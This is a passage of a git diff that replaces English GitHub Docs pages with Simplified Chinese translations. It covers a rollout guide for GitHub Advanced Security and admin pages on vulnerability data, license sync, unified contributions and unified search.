这有助于消除两个组之间的隔阂,建立和加强他们的工作关系,并帮助这两个组摆脱“互相踢皮球”的共同心态。 所有这些都有助于实现帮助公司转变的总体目标,并开始利用 GHAS 来解决开发过程中的早期安全问题。 + +#### {% octicon "people" aria-label="The people icon" %} 为推出团队推荐的关键角色 + +建议在团队中担任一些关键角色,以确保团队在推出和实现的规划和执行过程中得到充分的体现。 + +强烈建议推出团队包括以下角色: +- **执行发起人:** 这通常是 CISO、CIO、安全副总裁或工程副总裁。 +- **技术安全主管:** 技术安全主管在整个实现过程中以安全团队身份提供技术支持。 +- **技术开发主管:** 技术开发主管提供技术支持,并且可能会与开发团队一起领导实现工作。 + +还建议推出团队包括以下角色: +- **项目经理:** 我们发现,项目经理越早被引入到推出过程中,成功的可能性就越高。 +- **质量保证工程师:** 包括公司质量保证团队的一名成员,有助于确保 QA 团队考虑到过程更改。 + +### {% octicon "checklist" aria-label="The checklist icon" %} 了解关键的 GHAS 事实,以防止常见的误解 + +在进行 GHAS 实现时,必须要了解一些关于 GHAS 的含义及其用途的关键基本事实,以防止公司在进行 GHAS 推出时出现许多常见的误解。 + +{% note %} + +注意:如果你有兴趣进一步接受 GHAS 教育,{% data variables.product.prodname_professional_services %} 提供了各种用于额外教育和培训的选项,包括公司需要为 GHAS 做准备的主题。 这些产品/服务可能采取研讨会、演示和集训营的形式。 主题可以从部署 GHAS 和 GHAS 的基本使用到更高级的主题,以继续培养团队的技能。 有关使用 {% data variables.product.prodname_professional_services_team %} 团队的详细信息,请参阅“[{% data variables.product.prodname_professional_services %}](#github-professional-services)”。 + +{% endnote %} + + +#### 事实 1:GHAS 是一套需执行操作来保护代码的安全工具。 + +它不是被安装并被遗忘的安全软件,仅拥有 GHAS 并不能保护你的代码。 GHAS 是一套工具,在配置、维护、在日常工作流中使用以及与其他工具结合使用时,价值会增加。 + +#### 事实 2:GHAS 需要进行开箱即用的调整。 + +在存储库上设置 GHAS 后,需要采取其他步骤来确保其满足公司的需求。 代码扫描尤其需要进一步的配置来微调结果,例如,自定义由扫描标记的内容,以调整在未来的扫描中选取的内容。 许多客户发现,初始扫描要么没有得到任何结果,要么得到与应用程序威胁模型无关的结果,因此需要根据其公司的需求进行调整。 + +#### 事实 3:GHAS 工具在一起使用时最为有效,但最有效的 AppSec 程序涉及使用其他工具/活动。 + +当所有工具一起使用时,GHAS 最有效。 当公司将 GHAS 与其他工具和活动(例如渗透测试和动态扫描)集成时,它会进一步提高 AppSec 计划的有效性。 建议始终使用多层保护。 + +#### 事实 4:并非所有公司都将使用/需要自定义 {% data variables.product.prodname_codeql %} 查询,但这些查询可帮助自定义/查找扫描结果。 + +代码扫描由 {% data variables.product.prodname_codeql %}(世界上最强大的代码分析引擎)提供支持。 虽然许多公司对能够编写自定义查询的前景感到兴奋,但对于我们的大部分客户而言,基本查询集和社区中可用的其他查询通常就已经足够了。 但是,许多公司可能会发现需要自定义 {% data variables.product.prodname_codeql %} 查询,以帮助减少结果中的误报率或针对公司可能需要的结果创建新查询。 + +但如果你的公司对编写自定义 {% data variables.product.prodname_codeql %} 查询感兴趣,建议在探索自定义查询之前完成 GHAS 的推出和实现。 + +{% note %} + +注意:在深入研究更深层次的安全做法之前,你的公司必须基于 GHAS 打好坚实的基础。 + +{% endnote %} + +当你的公司准备就绪时,客户成功团队可以帮助你了解需要满足的要求,并可以帮助确保你的公司具有良好的自定义查询用例。 + +#### 事实 5:{% data variables.product.prodname_codeql %} 会扫描整个代码库,而不仅仅是在拉取请求中所做的更改。 + +当从拉取请求运行代码扫描时,扫描将包括完整的代码库,而不仅仅是在拉取请求中所做的更改。 尽管有时这似乎没有必要,但这是一个重要的步骤,用于确保已针对代码库中的所有交互对更改进行了全面审查。 + +## 成功的 {% data variables.product.prodname_GH_advanced_security %} 推出示例 + +现在,你已经对成功推出和实现 GHAS 的一些关键有了更好的理解,下面是我们的客户如何成功推出的一些示例。 即使你的公司位于其他位置,{% data variables.product.prodname_dotcom %} 也可以帮助你构建满足推出需求的自定义路径。 + +### 一家中型医疗保健技术公司的推出示例 + +一家总部位于旧金山的中型医疗保健技术公司成功地完成了 GHAS 的推出过程。 虽然他们可能没有大量需要启用的存储库,但该公司成功的关键包括拥有一个组织良好且协调一致的团队以进行推出,并建立一个明确的与 {% data variables.product.prodname_dotcom %} 合作的关键联系人,以便解决在该过程中出现的任何问题。 这使他们能够在两个月内完成推出。 + +此外,公司拥有一个参与的开发团队,这使其能够让团队在完成推出后在拉取请求级别使用代码扫描。 + +### 一家中型数据平台公司的推出示例 + +迄今为止,一家全球数据平台公司通过 GHAS 取得了巨大的成功。 他们已经完成了初步实现,目前正在完成推出过程。 这家公司在安全状况和工具方面都很成熟,作为一家公司,该公司关系良好。 这样,他们就可以自给自足地运营,并使他们能够快速顺利地完成推出。 + +该公司强大的一致性、高效的运营和成熟的安全工具使他们能够快速实现 GHAS 并为 {% data variables.product.prodname_codeql %} 奠定良好的基础。 自实现以来,他们现在可以跨不同的存储库自动启用 {% data variables.product.prodname_codeql %}。 + +除了安全性和成熟的技术之外,该公司成功的另一个关键因素是拥有项目所有者和团队的单一联系点来推动项目向前发展。 不仅拥有该关键联系人至关重要,而且他们也非常足智多谋和技术娴熟,这直接有助于推出的成功。 + +## 公司在推出 GHAS 之前的先决条件 + +{% data variables.product.prodname_professional_services %} 可以帮助提供额外的支持,帮助你的公司细分和了解这些先决条件,并帮助你为 GHAS 实现过程做好准备。 + + ### CI/CD 系统和过程 + +如果你的公司尚未投资或实现持续集成或持续交付 (CI/CD) 系统和过程,建议在推进 GHAS 的同时采取此步骤。 对于你的公司来说,这可能是一个重大转变,我们可以与你合作以提供有关实现 CI/CD 系统的建议和指导,并支持任何可能需要的培训。 + +### 安装 {% data variables.product.prodname_GH_advanced_security %} 的要求 + +根据你的公司使用的技术组合,GHAS 安装可以采用几种不同的路径。 本部分概述了你的公司可能需要采取的不同路径的大致细分。 + +{% ifversion ghes %} + +#### {% data variables.product.prodname_ghe_server %} + +重要的是,你使用的 {% data variables.product.prodname_ghe_server %} (GHES) 版本可以支持你公司的需求。 + +如果使用的是早期版本(低于 3.0)的 GHES 并且想要升级,则在继续升级之前需要满足一些要求。 有关详细信息,请参阅: + - [升级 {% data variables.product.prodname_ghe_server %}](/enterprise-server@2.22/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server) + - [升级要求](/enterprise-server@2.20/admin/enterprise-management/upgrade-requirements) + +如果使用第三方 CI/CD 系统并希望使用 {% data variables.product.prodname_code_scanning %},请确保已下载 {% data variables.product.prodname_codeql_cli %}。 有关详细信息,请参阅“[关于 CI 系统中的 CodeQL 代码扫描](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system)”。 + +如果要使用 {% data variables.product.prodname_professional_services %} 进行 GHAS 推出,请准备好在启动会议上详细讨论这些项。 + +{% endif %} + +{% ifversion ghec %} + +#### {% data variables.product.prodname_ghe_cloud %} + +如果你是 {% data variables.product.prodname_ghe_cloud %} (GHEC) 客户,则需要满足一些先决条件,具体取决于计划使用的 CI/CD。 + +将 {% data variables.product.prodname_actions %} 用于 CI/CD: +- 若要确保可以正确集成和利用 {% data variables.product.prodname_code_scanning %},你应在继续安装之前对 {% data variables.product.prodname_actions %} 有基本的了解。 + +使用 CI/CD 的第三方工具: +- 若要集成 {% data variables.product.prodname_codeql_cli %},你应对 CI/CD 系统以及 *nix 和 Windows 有基本的了解,特别是如何执行命令以及如何指示成功/失败。 有关如何集成第三方工具的详细信息,请参阅“[在现有 CI 系统上使用 CodeQL 代码扫描](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system)”。 + +{% endif %} + +## 与 GitHub 合作以实现推出 + +在准备实现 GHAS 时,重要的是要考虑你的公司要使该项目成功所需的内容。 最成功的 GHAS 实现依赖于 GitHub 和客户在整个过程中的共同责任,以及在拥有该项目的客户中明确标识了利益干系人。 + +#### 针对客户和 GitHub 责任的成功模型 + +**客户责任** +- 完成基础结构和流程先决条件 +- 管理推出和实现,包括规划和执行 +- 内部培训 +- (可选)向 GitHub 社区提供 {% data variables.product.prodname_codeql %} 查询 + +**GitHub 责任** + +- {% ifversion ghes %}{% data variables.product.prodname_ghe_server %}{% endif %}、{% data variables.product.prodname_actions %}、{% data variables.product.prodname_GH_advanced_security %} 等功能的维护和增强 +- 提供、维护和提交以下服务:{% data variables.product.prodname_dotcom %} Docs、{% data variables.product.prodname_dotcom %} Community、{% data variables.product.prodname_dotcom %} 支持 + +{% note %} + +注意:{% data variables.product.prodname_professional_services %} 可以帮助为许多客户的责任提供支持。 要了解详细信息,请参阅“[GitHub 服务和支持](#github-services-and-support)”。 + +{% endnote %} + +## {% data variables.product.prodname_dotcom %} 服务和支持 + +### {% data variables.product.prodname_dotcom %} 支持 + +如果在实现过程中遇到任何问题,可以搜索深度文档以获取解决方案,或与 {% data variables.product.prodname_dotcom %} 支持(一个技术含量高的工程师团队,它可以在出现问题时提供支持)联系。 有关详细信息,请参阅“[GitHub Enterprise 支持](https://enterprise.github.com/support)”。 + +此外,你还可以尝试 [ {% data variables.product.prodname_gcf %}](https://github.community/)。 + +如果你购买了高级支持计划,则可以在[高级支持门户](https://enterprise.github.com/support)中提交工单。 如果不确定所购买的支持计划,则可以联系你的销售代表或查看计划选项。 + +有关高级支持计划选项的详细信息,请参阅: + - [高级支持](https://github.com/premium-support) {% ifversion ghec %} + - [关于对 {% data variables.product.prodname_ghe_cloud %} 的 GitHub 高级支持](/github/working-with-github-support/about-github-premium-support-for-github-enterprise-cloud) {% endif %}{% ifversion ghes %} + - [关于对 {% data variables.product.prodname_ghe_server %} 的 GitHub 高级支持](/admin/enterprise-support/overview/about-github-premium-support-for-github-enterprise-server) {% endif %} + +### {% data variables.product.prodname_professional_services %} + +我们的 {% data variables.product.prodname_professional_services_team %} 团队可以与你合作,以成功推出和实现 {% data variables.product.prodname_GH_advanced_security %}。 我们为你期望的实现所需的指导和支持类型提供了各种选项。 我们还提供了培训和集训营,以帮助你的公司优化 GHAS 的价值。 + +如果你想要与 {% data variables.product.prodname_professional_services_team %} 团队合作以进行实现,建议开始考虑系统设计和基础结构,以及希望使用 GHAS 设置的存储库数量,以便开始这些对话。 此外,开始考虑你想要通过此推出实现的目标。 + +实现只是成功的安全驱动之旅中的一步,你将在此过程中了解如何使用 GHAS。 完成实现后,你需要了解更多关于在整个基础结构和代码库中推出的内容。 有关所有可用的 {% data variables.product.prodname_professional_services_team %} 选项的详细信息,请与你的销售代表联系。 + +如果你最初选择了不提供额外的服务,但在开始实现时发现需要额外的支持,请联系你的销售代表,讨论可能需要哪些服务选项才能支持实现。 diff --git a/translations/zh-CN/content/admin/code-security/managing-supply-chain-security-for-your-enterprise/viewing-the-vulnerability-data-for-your-enterprise.md b/translations/zh-CN/content/admin/code-security/managing-supply-chain-security-for-your-enterprise/viewing-the-vulnerability-data-for-your-enterprise.md index b20b4c62a4..054e7c3752 100644 --- a/translations/zh-CN/content/admin/code-security/managing-supply-chain-security-for-your-enterprise/viewing-the-vulnerability-data-for-your-enterprise.md +++ b/translations/zh-CN/content/admin/code-security/managing-supply-chain-security-for-your-enterprise/viewing-the-vulnerability-data-for-your-enterprise.md @@ -1,8 +1,8 @@ --- -title: Viewing the vulnerability data for your enterprise -intro: 'You can view vulnerability data from the {% data variables.product.prodname_advisory_database %} on {% data variables.location.product_location %}.' +title: 查看企业的漏洞数据 +intro: '你可以在 {% data variables.product.product_location %} 上查看 {% data variables.product.prodname_advisory_database %} 中的漏洞数据。' shortTitle: View vulnerability data -permissions: 'Site administrators can view vulnerability data on {% data variables.location.product_location %}.' +permissions: 'Site administrators can view vulnerability data on {% data variables.product.product_location %}.' versions: ghes: '*' ghae: '*' @@ -11,17 +11,22 @@ topics: - Enterprise - Security - Dependency graph +ms.openlocfilehash: a9217f4cff35a675d87833e3fdad37ac9fe10665 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145098135' --- +如果为企业启用了 {% data variables.product.prodname_dependabot_alerts %},则可以查看从 {% data variables.product.prodname_advisory_database %} 下载到 {% data variables.product.product_location %} 的所有漏洞。 -If {% data variables.product.prodname_dependabot_alerts %} are enabled for your enterprise, you can view all vulnerabilities that were downloaded to {% data variables.location.product_location %} from the {% data variables.product.prodname_advisory_database %}. +可以从 {% data variables.product.prodname_dotcom_the_website %} 手动同步漏洞数据以更新列表。 -You can manually sync vulnerability data from {% data variables.product.prodname_dotcom_the_website %} to update the list. - -Before you can view vulnerability data, you must enable {% data variables.product.prodname_dependabot_alerts %}. For more information, see "[Enabling {% data variables.product.prodname_dependabot %} for your enterprise](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise)." +在查看漏洞数据之前,必须启用 {% data variables.product.prodname_dependabot_alerts %}。 有关详细信息,请参阅“[为企业启用 {% data variables.product.prodname_dependabot %}](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise)”。 {% data reusables.enterprise_site_admin_settings.access-settings %} -2. In the left sidebar, click **Vulnerabilities**. - ![Vulnerabilities tab in the site admin sidebar](/assets/images/enterprise/business-accounts/vulnerabilities-tab.png) -3. To sync vulnerability data, click **Sync Vulnerabilities now**. - ![Sync vulnerabilities now button](/assets/images/enterprise/site-admin-settings/sync-vulnerabilities-button.png) +2. 在左侧栏中,单击“漏洞”。 + ![站点管理员边栏中的“漏洞”选项卡](/assets/images/enterprise/business-accounts/vulnerabilities-tab.png) +3. 若要同步漏洞数据,请单击“立即同步漏洞”。 + ![“立即同步漏洞”按钮](/assets/images/enterprise/site-admin-settings/sync-vulnerabilities-button.png) diff --git a/translations/zh-CN/content/admin/configuration/configuring-github-connect/enabling-automatic-user-license-sync-for-your-enterprise.md b/translations/zh-CN/content/admin/configuration/configuring-github-connect/enabling-automatic-user-license-sync-for-your-enterprise.md index 4f4bff2a29..846a0e09f0 100644 --- a/translations/zh-CN/content/admin/configuration/configuring-github-connect/enabling-automatic-user-license-sync-for-your-enterprise.md +++ b/translations/zh-CN/content/admin/configuration/configuring-github-connect/enabling-automatic-user-license-sync-for-your-enterprise.md @@ -1,6 +1,6 @@ --- -title: Enabling automatic user license sync for your enterprise -intro: 'You can manage license usage across your {% data variables.product.prodname_enterprise %} environments by automatically syncing user licenses from {% data variables.location.product_location %} to {% data variables.product.prodname_ghe_cloud %}.' +title: 为企业启用自动触发用户许可证同步 +intro: '可以通过自动将用户许可证从 {% data variables.product.product_location %} 同步到 {% data variables.product.prodname_ghe_cloud %} 来管理 {% data variables.product.prodname_enterprise %} 环境中的许可证使用情况。' redirect_from: - /enterprise/admin/installation/enabling-automatic-user-license-sync-between-github-enterprise-server-and-github-enterprise-cloud - /enterprise/admin/configuration/enabling-automatic-user-license-sync-between-github-enterprise-server-and-github-enterprise-cloud @@ -16,28 +16,33 @@ topics: - GitHub Connect - Licensing shortTitle: Automatic user license sync +ms.openlocfilehash: eb0216dcdb629e96ef83de2eea8a7d7b6660a171 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145910557' --- -## About automatic license synchronization +## 关于自动许可证同步 {% data reusables.enterprise-licensing.unique-user-licensing-model %} -{% data reusables.enterprise-licensing.about-license-sync %} For more information, see "[About {% data variables.product.prodname_github_connect %}](/admin/configuration/configuring-github-connect/about-github-connect#data-transmission-for-github-connect)." +{% data reusables.enterprise-licensing.about-license-sync %} 有关详细信息,请参阅“[关于 {% data variables.product.prodname_github_connect %}](/admin/configuration/configuring-github-connect/about-github-connect#data-transmission-for-github-connect)”。 -If you enable automatic user license sync for your enterprise, {% data variables.product.prodname_github_connect %} will automatically synchronize license usage between {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %} weekly.{% ifversion ghes > 3.4 %} You can also synchronize your license data at any time outside of the automatic weekly sync, by manually triggering a license sync job. For more information, see "[Triggering a license sync job](/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud#triggering-a-license-sync-job)."{% endif %} +如果为企业启用自动用户许可证同步,{% data variables.product.prodname_github_connect %} 将每周自动同步一次 {% data variables.product.prodname_ghe_server %} 与 {% data variables.product.prodname_ghe_cloud %} 之间的许可证使用情况。{% ifversion ghes > 3.4 %}还可以通过手动触发许可证同步作业,在自动每周同步之外随时同步许可证数据。 有关详细信息,请参阅“[触发许可证同步作业](/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud#triggering-a-license-sync-job)”。{% endif %} -If you use multiple {% data variables.product.prodname_ghe_server %} instances, you can enable automatic license sync between each of your instances and the same organization or enterprise account on {% data variables.product.prodname_ghe_cloud %}. +如果使用多个 {% data variables.product.prodname_ghe_server %} 实例,则可以在 {% data variables.product.prodname_ghe_cloud %} 上启用每个实例与同一组织或企业帐户之间的自动触发许可证同步。 {% data reusables.enterprise-licensing.view-consumed-licenses %} -You can also manually upload {% data variables.product.prodname_ghe_server %} user license information to {% data variables.product.prodname_ghe_cloud %}. For more information, see "[Syncing license usage between {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %}](/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud)." +您还可以手动将 {% data variables.product.prodname_ghe_server %} 用户许可信息上传到 {% data variables.product.prodname_ghe_cloud %}。 有关详细信息,请参阅“[同步 {% data variables.product.prodname_ghe_server %} 和 {% data variables.product.prodname_ghe_cloud %} 之间的许可证使用情况](/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud)”。 {% data reusables.enterprise-licensing.verified-domains-license-sync %} -## Enabling license synchronization +## 启用许可同步 -Before enabling license synchronization on {% data variables.location.product_location %}, you must enable {% data variables.product.prodname_github_connect %}. For more information, see "[Managing {% data variables.product.prodname_github_connect %}](/admin/configuration/configuring-github-connect/managing-github-connect)." +在 {% data variables.product.product_location %} 上启用许可证同步之前,必须启用 {% data variables.product.prodname_github_connect %}。 有关详细信息,请参阅“[管理 {% data variables.product.prodname_github_connect %}](/admin/configuration/configuring-github-connect/managing-github-connect)”。 -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.github-connect-tab %} -1. Under "Server can sync user license count and usage", use the drop-down menu and select **Enabled**. - ![Drop-down menu to enable automatic user license sync](/assets/images/enterprise/site-admin-settings/enable-user-license-drop-down.png) +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.github-connect-tab %} +1. 在“服务器可同步用户许可证计数和使用情况”下,使用下拉菜单,然后选择“启用”。 + ![用于启用自动触发用户许可证同步的下拉菜单](/assets/images/enterprise/site-admin-settings/enable-user-license-drop-down.png) diff --git a/translations/zh-CN/content/admin/configuration/configuring-github-connect/enabling-unified-contributions-for-your-enterprise.md b/translations/zh-CN/content/admin/configuration/configuring-github-connect/enabling-unified-contributions-for-your-enterprise.md index e9c67f0fcd..582c3a80b7 100644 --- a/translations/zh-CN/content/admin/configuration/configuring-github-connect/enabling-unified-contributions-for-your-enterprise.md +++ b/translations/zh-CN/content/admin/configuration/configuring-github-connect/enabling-unified-contributions-for-your-enterprise.md @@ -1,7 +1,7 @@ --- -title: Enabling unified contributions for your enterprise +title: 为企业启用统一贡献 shortTitle: Unified contributions -intro: 'You can allow users to include anonymized contribution counts for their work on {% data variables.location.product_location %} in their contribution graphs on {% data variables.product.prodname_dotcom_the_website %}.' +intro: '可以允许用户将经过匿名处理的工作贡献计数包含在 {% data variables.product.prodname_dotcom_the_website %} 上贡献图的 {% data variables.product.product_location %} 中。' redirect_from: - /enterprise/admin/guides/developer-workflow/enabling-unified-contributions-between-github-enterprise-and-github-com - /enterprise/admin/guides/developer-workflow/enabling-unified-contributions-between-github-enterprise-server-and-github-com @@ -11,7 +11,7 @@ redirect_from: - /admin/configuration/enabling-unified-contributions-between-github-enterprise-server-and-githubcom - /admin/configuration/managing-connections-between-github-enterprise-server-and-github-enterprise-cloud/enabling-unified-contributions-between-github-enterprise-server-and-githubcom - /admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-contributions-between-your-enterprise-account-and-githubcom -permissions: 'Enterprise owners can enable unified contributions between {% data variables.location.product_location %} and {% data variables.product.prodname_dotcom_the_website %}.' +permissions: 'Enterprise owners can enable unified contributions between {% data variables.product.product_location %} and {% data variables.product.prodname_dotcom_the_website %}.' versions: ghes: '*' ghae: '*' @@ -19,36 +19,37 @@ type: how_to topics: - Enterprise - GitHub Connect +ms.openlocfilehash: af07f30a8f164f6bec3d3c0f44c77181f1e8db7b +ms.sourcegitcommit: 9a7b3a9ccb983af5df2cd94da7fecf7a8237529b +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/09/2022 +ms.locfileid: '147875978' --- - {% data reusables.github-connect.beta %} -## About unified contributions +## 关于统一贡献 -As an enterprise owner, you can allow end users to send anonymized contribution counts for their work from {% data variables.location.product_location %} to their {% data variables.product.prodname_dotcom_the_website %} contribution graph. +作为企业所有者,你可以允许最终用户将进行过匿名处理的工作贡献计数从 {% data variables.product.product_location %} 发送到其 {% data variables.product.prodname_dotcom_the_website %} 贡献图。 -After you enable {% data variables.enterprise.prodname_unified_contributions %}, before individual users can send contribution counts from {% data variables.location.product_location %} to {% data variables.product.prodname_dotcom_the_website %}, each user must also connect their user account on {% data variables.product.product_name %} with a personal account on {% data variables.product.prodname_dotcom_the_website %}. For more information, see "[Sending enterprise contributions to your {% data variables.product.prodname_dotcom_the_website %} profile](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile)." +启用 {% data variables.product.prodname_unified_contributions %} 后,每个用户还必须将自己在 {% data variables.product.product_name %} 上的用户帐户与 {% data variables.product.prodname_dotcom_the_website %} 上的个人帐户连接起来,个人用户才能将贡献计数从 {% data variables.product.product_location %} 发送到 {% data variables.product.prodname_dotcom_the_website %}。 有关详细信息,请参阅“[将企业贡献发送到自己的 {% data variables.product.prodname_dotcom_the_website %} 配置文件](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile)”。 {% data reusables.github-connect.sync-frequency %} -If the enterprise owner disables the functionality or individual users opt out of the connection, the contribution counts from {% data variables.product.product_name %} will be deleted on {% data variables.product.prodname_dotcom_the_website %}. If the user reconnects their profiles after disabling them, the contribution counts for the past 90 days are restored. +如果企业所有者禁用了该功能或个人用户选择退出连接,则系统将删除 {% data variables.product.prodname_dotcom_the_website %} 上的 {% data variables.product.product_name %} 贡献计数。 如果用户在禁用该功能后重新连接自己的配置文件,则系统将恢复过去 90 天的贡献计数。 -{% data variables.product.product_name %} **only** sends the contribution count and source ({% data variables.product.product_name %}) for connected users. It does not send any information about the contribution or how it was made. +{% data variables.product.product_name %} 仅为已连接的用户发送贡献计数和来源 ({% data variables.product.product_name %})。 它不会发送有关贡献或做出该贡献的方式的任何信息。 -## Enabling unified contributions +## 启用统一贡献 -Before enabling {% data variables.enterprise.prodname_unified_contributions %} on {% data variables.location.product_location %}, you must enable {% data variables.product.prodname_github_connect %}. For more information, see "[Managing {% data variables.product.prodname_github_connect %}](/admin/configuration/configuring-github-connect/managing-github-connect)." +在 {% data variables.product.product_location %} 上启用 {% data variables.product.prodname_unified_contributions %} 之前,必须先启用 {% data variables.product.prodname_github_connect %}。 有关详细信息,请参阅“[管理 {% data variables.product.prodname_github_connect %}](/admin/configuration/configuring-github-connect/managing-github-connect)”。 -{% ifversion ghes %} -{% data reusables.github-connect.access-dotcom-and-enterprise %} -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.business %} -{% data reusables.enterprise-accounts.github-connect-tab %}{% else %} -1. Sign in to {% data variables.location.product_location %} and {% data variables.product.prodname_dotcom_the_website %}. +{% ifversion ghes %} {% data reusables.github-connect.access-dotcom-and-enterprise %} {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.business %} {% data reusables.enterprise-accounts.github-connect-tab %}{% else %} +1. 登录到 {% data variables.product.product_location %} 和 {% data variables.product.prodname_dotcom_the_website %}。 {% data reusables.enterprise-accounts.access-enterprise %}{% data reusables.enterprise-accounts.github-connect-tab %}{% endif %} -1. Under "Users can share contribution counts to {% data variables.product.prodname_dotcom_the_website %}", click **Request access**. - ![Request access to unified contributions option](/assets/images/enterprise/site-admin-settings/dotcom-ghe-connection-request-access.png){% ifversion ghes %} -2. [Sign in](https://enterprise.github.com/login) to the {% data variables.product.prodname_ghe_server %} site to receive further instructions. +1. 在“用户可将贡献计数分享到 {% data variables.product.prodname_dotcom_the_website %}”下,单击“请求访问”。 + ![请求访问统一贡献选项](/assets/images/enterprise/site-admin-settings/dotcom-ghe-connection-request-access.png){% ifversion ghes %} +2. [登录](https://enterprise.github.com/login)到站点 {% data variables.product.prodname_ghe_server %} 以接收其他说明。 -When you request access, we may redirect you to the {% data variables.product.prodname_ghe_server %} site to check your current terms of service. +当你请求访问时,我们可能会将你重定向到 {% data variables.product.prodname_ghe_server %} 站点,以检查当前的服务条款。 {% endif %} diff --git a/translations/zh-CN/content/admin/configuration/configuring-github-connect/enabling-unified-search-for-your-enterprise.md b/translations/zh-CN/content/admin/configuration/configuring-github-connect/enabling-unified-search-for-your-enterprise.md index 196fc8b6b8..cc426ba21b 100644 --- a/translations/zh-CN/content/admin/configuration/configuring-github-connect/enabling-unified-search-for-your-enterprise.md +++ b/translations/zh-CN/content/admin/configuration/configuring-github-connect/enabling-unified-search-for-your-enterprise.md @@ -1,7 +1,7 @@ --- -title: Enabling unified search for your enterprise +title: 为企业启用统一搜索 shortTitle: Unified search -intro: 'You can allow users to include repositories on {% data variables.product.prodname_dotcom_the_website %} in their search results when searching from {% data variables.location.product_location %}.' +intro: '从 {% data variables.product.product_location %} 搜索时,你可以允许用户在搜索结果中包含 {% data variables.product.prodname_dotcom_the_website %} 上的存储库。' redirect_from: - /enterprise/admin/guides/developer-workflow/enabling-unified-search-between-github-enterprise-and-github-com - /enterprise/admin/guides/developer-workflow/enabling-unified-search-between-github-enterprise-server-and-github-com @@ -20,34 +20,35 @@ topics: - Enterprise - GitHub Connect - GitHub search +ms.openlocfilehash: 0270600113cb3b341b38e6f55d7108798d523ebb +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145098132' --- - -## About {% data variables.enterprise.prodname_unified_search %} +## 关于 {% data variables.product.prodname_unified_search %} {% data reusables.github-connect.beta %} -When you enable unified search, users can view search results from content on {% data variables.product.prodname_dotcom_the_website %} when searching from {% data variables.location.product_location %}{% ifversion ghae %} on {% data variables.product.prodname_ghe_managed %}{% endif %}. +启用统一搜索后,用户从 {% data variables.product.prodname_ghe_managed %}{% endif %} 上的 {% data variables.product.product_location %}{% ifversion ghae %} 中搜索时,可以查看来自 {% data variables.product.prodname_dotcom_the_website %} 内容的搜索结果。 -You can choose to allow search results for public repositories on {% data variables.product.prodname_dotcom_the_website %}, and you can separately choose to allow search results for private repositories on {% data variables.product.prodname_ghe_cloud %}. If you enable unified search for private repositories, users can only search private repositories that they have access to and that are owned by the connected organization or enterprise account. For more information, see "[About searching on {% data variables.product.prodname_dotcom %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github/#searching-across-github-enterprise-and-githubcom-simultaneously)." +可以选择允许 {% data variables.product.prodname_dotcom_the_website %} 上的公共存储库的搜索结果,可以单独选择允许 {% data variables.product.prodname_ghe_cloud %} 上的专用存储库的搜索结果。 如果你启用专用存储库的统一搜索,则用户只能搜索他们有权访问且由连接的组织或企业帐户拥有的专用存储库。 有关详细信息,请参阅“[关于在 {% data variables.product.prodname_dotcom %} 上搜索](/search-github/getting-started-with-searching-on-github/about-searching-on-github/#searching-across-github-enterprise-and-githubcom-simultaneously)”。 -Users will never be able to search {% data variables.location.product_location %} from {% data variables.product.prodname_dotcom_the_website %}, even if they have access to both environments. +用户将永远无法从 {% data variables.product.prodname_dotcom_the_website %} 搜索 {% data variables.product.product_location %},即使他们可以访问这两个环境。 -After you enable unified search for {% data variables.location.product_location %}, before individual users can see search results from private repositories on {% data variables.product.prodname_dotcom_the_website %} in {% data variables.location.product_location %}, each user must also connect their user account on {% data variables.product.product_name %} with a user account on {% data variables.product.prodname_dotcom_the_website %}. For more information, see "[Enabling {% data variables.product.prodname_dotcom_the_website %} repository search in your private enterprise account](/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment)." +在为 {% data variables.product.product_location %} 启用统一搜索后,每个用户还必须将他们在 {% data variables.product.product_name %} 上的用户帐户与 {% data variables.product.prodname_dotcom_the_website %} 上的用户帐户相关联,这样才能在 {% data variables.product.product_location %} 看到 {% data variables.product.prodname_dotcom_the_website %} 的专用存储库中的搜索结果。 有关详细信息,请参阅“[在私有企业帐户中启用 {% data variables.product.prodname_dotcom_the_website %} 存储库搜索](/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment)”。 -Searching via the REST and GraphQL APIs does not include {% data variables.product.prodname_dotcom_the_website %} search results. Advanced search and searching for wikis in {% data variables.product.prodname_dotcom_the_website %} are not supported. +通过 REST 和 GraphQL API 进行搜索不包含 {% data variables.product.prodname_dotcom_the_website %} 